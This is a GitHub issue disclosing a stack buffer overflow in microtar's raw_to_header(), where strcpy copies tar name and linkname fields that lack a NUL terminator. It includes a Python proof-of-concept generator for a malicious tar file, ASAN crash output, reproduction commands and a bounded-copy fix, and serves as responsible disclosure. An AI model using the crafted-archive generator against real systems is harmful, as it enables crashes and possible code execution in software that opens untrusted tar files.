Skip to content

Stack buffer overflow in raw_to_header() via strcpy on non-NUL-terminated name/linkname fields #28

@ByamB4

Description

@ByamB4

Summary

raw_to_header() in microtar.c uses strcpy() to copy the name and linkname fields from the raw tar header into mtar_header_t. In the POSIX tar format, these are fixed-size 100-byte fields that are not required to be NUL-terminated when the full 100 bytes are used. This causes strcpy() to read past the field boundary, resulting in a stack buffer overflow.

CWE: CWE-121 (Stack-based Buffer Overflow)

Note: This is distinct from #23, which reports a buffer overflow in the write path (header_to_raw / sprintf). This issue is in the read/parse path (raw_to_header / strcpy), triggered by opening a crafted tar file.

Vulnerable Code

// microtar.c:111-112 (in raw_to_header)
strcpy(h->name, rh->name);
strcpy(h->linkname, rh->linkname);

The raw header struct layout means:

  • rh->name[100] is followed by mode[8], owner[8], group[8], size[12], mtime[12], checksum[8], type, linkname[100], _padding[255] — if name has no NUL byte, strcpy reads up to 412 bytes into a 100-byte destination
  • rh->linkname[100] is followed by _padding[255] — if linkname has no NUL byte, strcpy reads up to 355 bytes into a 100-byte destination

Impact

Any program that opens an untrusted tar file via mtar_open() or mtar_read_header() is vulnerable. The attacker controls the overflow content via the tar file. Stack buffer overflows of this size (up to 255+ bytes past the buffer) can overwrite return addresses and enable arbitrary code execution.

Proof of Concept

A minimal PoC tar file: set linkname to 100 non-NUL bytes and _padding to 255 non-NUL bytes, with a valid checksum. Opening this file triggers the overflow in strcpy(h->linkname, rh->linkname).

ASAN output:

==9==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff0c3ee170
READ of size 362 at 0x7fff0c3ee170 thread T0
    #0 in strcpy
    #1 in raw_to_header /build/microtar/src/microtar.c:112:3
    #2 in mtar_read_header /build/microtar/src/microtar.c:286:10
    #3 in mtar_open /build/microtar/src/microtar.c:199:11
    #4 in main /build/microtar_driver.c:17:15

PoC generator (Python)

#!/usr/bin/env python3
"""Generate PoC: linkname overflow in microtar raw_to_header()"""
import struct, os

def compute_checksum(header_bytes):
    total = 0
    for i in range(512):
        if 148 <= i < 156:
            total += ord(' ')
        else:
            total += header_bytes[i]
    return total

header = bytearray(512)

# name - valid, NUL-terminated
name = b"normal_file.txt"
header[0:len(name)] = name

# mode, owner, group, size, mtime - valid with NUL
header[100:108] = b'0000644\x00'
header[108:116] = b'0001000\x00'
header[116:124] = b'0001000\x00'
header[124:136] = b'00000000000\x00'
header[136:148] = b'14217067357\x00'
header[148:156] = b'        '

# type - symlink
header[156] = ord('2')

# linkname[100] - all 'B', NO NUL terminator
header[157:257] = b'B' * 100

# _padding[255] - all 'C' (non-NUL) to maximize overflow
header[257:512] = b'C' * 255

# Compute and set checksum (iterate to convergence)
for _ in range(5):
    chksum = compute_checksum(header)
    chksum_str = f"{chksum:06o}\x00 "
    header[148:156] = chksum_str.encode('ascii')[:8]

with open("linkname_overflow.tar", "wb") as f:
    f.write(bytes(header))
print("Generated linkname_overflow.tar")

Reproduction

# Compile with ASAN
clang -g -O1 -fsanitize=address,undefined -fno-sanitize=function \
    -I microtar/src -o microtar_asan driver.c microtar/src/microtar.c

# Run with PoC
./microtar_asan linkname_overflow.tar
# -> ASAN crash: stack-buffer-overflow

Suggested Fix

Replace strcpy() with bounded copies:

// Replace lines 111-112 with:
memcpy(h->name, rh->name, sizeof(rh->name));
h->name[sizeof(h->name) - 1] = '\0';

memcpy(h->linkname, rh->linkname, sizeof(rh->linkname));
h->linkname[sizeof(h->linkname) - 1] = '\0';

Additional Note

The sscanf() calls on rh->checksum, rh->mode, rh->owner, rh->size, and rh->mtime have the same class of issue — these fixed-size fields may not be NUL-terminated, and sscanf will read past the field boundary.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions